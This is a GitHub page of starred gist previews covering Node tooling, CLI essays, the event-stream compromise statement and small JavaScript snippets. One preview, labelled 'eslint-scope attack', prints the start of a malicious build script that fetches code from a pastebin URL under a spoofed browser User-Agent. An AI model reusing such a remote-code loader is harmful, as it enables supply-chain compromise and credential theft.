Skip to content

Instantly share code, notes, and snippets.

View bcomnes's full-sized avatar

Bret Comnes bcomnes

View GitHub Profile
@WebReflection
WebReflection / executable-standalone-module.md
Last active March 4, 2024 20:55
NodeJS Executable Standalone Module

Update

If you're OK in having a node-esm executable, please consider this solution.

#!/usr/bin/env sh
# the /usr/local/bin/node-esm executable
input_file=$1
shift
exec node --input-type=module - $@ <$input_file
@swyxio
swyxio / Write My Code For Me: Cheating at Developer Experience.md
Last active October 16, 2021 22:01
some thoughts on adding templating/scaffolding to CLIs and how it can be done well

Write My Code For Me: Cheating at Developer Experience

this is a draft of a blogpost that i'll be posting somewhere. Feedback welcome! also feel free to ping me on twitter

I've recently been working on some CLI that involves printing out a bunch of boilerplate template code for developer convenience. I found that there were a few interesting DX angles to this and figured I should write down the rough problem areas and the stances I chose. Most of us are familiar with CLIs like https://yeoman.io/, this task is variously called "scaffolding" or "templating" or some such similar term, with varying degrees of intelligence in the task. I'll refer to it as "templating" in this essay.

Part 1: Should You?

Caramel, not just Sugar

@wayanjimmy
wayanjimmy / cli-apps-dev.md
Last active February 4, 2024 11:23
I curate a list of interesting CLI tools, below are some command line tools that I personally love and use

I curate a list of interesting CLI tools, below are some command line tools that I personally love and use

  • tmux - Terminal multiplexer.
  • ripgrep - Search text for patterns fast.
  • fzf - Command-line fuzzy finder.
  • exa - Replacement for ls written in rust.
  • git - Version control.
  • create-react-app - Create React apps with no build configuration.
  • npx - Execute npm package binaries.
  • wifi-password - Get the password of the WiFi you're on.
@dominictarr
dominictarr / readme.md
Created November 26, 2018 22:39
statement on event-stream compromise

Hey everyone - this is not just a one off thing, there are likely to be many other modules in your dependency trees that are now a burden to their authors. I didn't create this code for altruistic motivations, I created it for fun. I was learning, and learning is fun. I gave it away because it was easy to do so, and because sharing helps learning too. I think most of the small modules on npm were created for reasons like this. However, that was a long time ago. I've since moved on from this module and moved on from that thing too and in the process of moving on from that as well. I've written way better modules than this, the internet just hasn't fully caught up.

@broros

otherwise why would he hand over a popular package to a stranger?

If it's not fun anymore, you get literally nothing from maintaining a popular package.

One time, I was working as a dishwasher in a restu

@mafintosh
mafintosh / README.md
Last active August 21, 2022 21:12
Using shared-structs with workers <3

Using shared-structs with Workers <3

This showcases how you can use shared-structs over an SharedArrayBuffer, to share complex data structures between worker_threads in Node.js

The main.js example starts a worker and passes a shared struct to it.

The worker will periodically update the struct with an incrementing tick and a random number

@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@DavidWells
DavidWells / toml-vs-yaml.md
Last active July 21, 2023 09:21
Yaml and Toml

Which is better? YOU DECIDE

# toml
[build]
  command = "npm run build"
@WebReflection
WebReflection / Promise.listeners.js
Last active April 24, 2018 14:21
Bringing addListeners and removeListeners to Promises.
(function (wm) {'use strict';
// original proposal via Oliver Dunk @oliverdunk_ via ES ML
// (c) Andrea Giammarchi - (ISC)
Object.defineProperties(
Promise.prototype,
{
addListeners: {
configurable: true,
value: function addListeners(resolve, reject) {
var once = wm.get(this);
@ungoldman
ungoldman / choo-store.js
Last active July 24, 2018 09:24
sketch of a simple wrapper for predictable, namespaced choo stores
/*
Now a real module used in production!
https://github.com/ungoldman/choo-store
*/
class Store {
constructor (opts) {
opts = opts || {}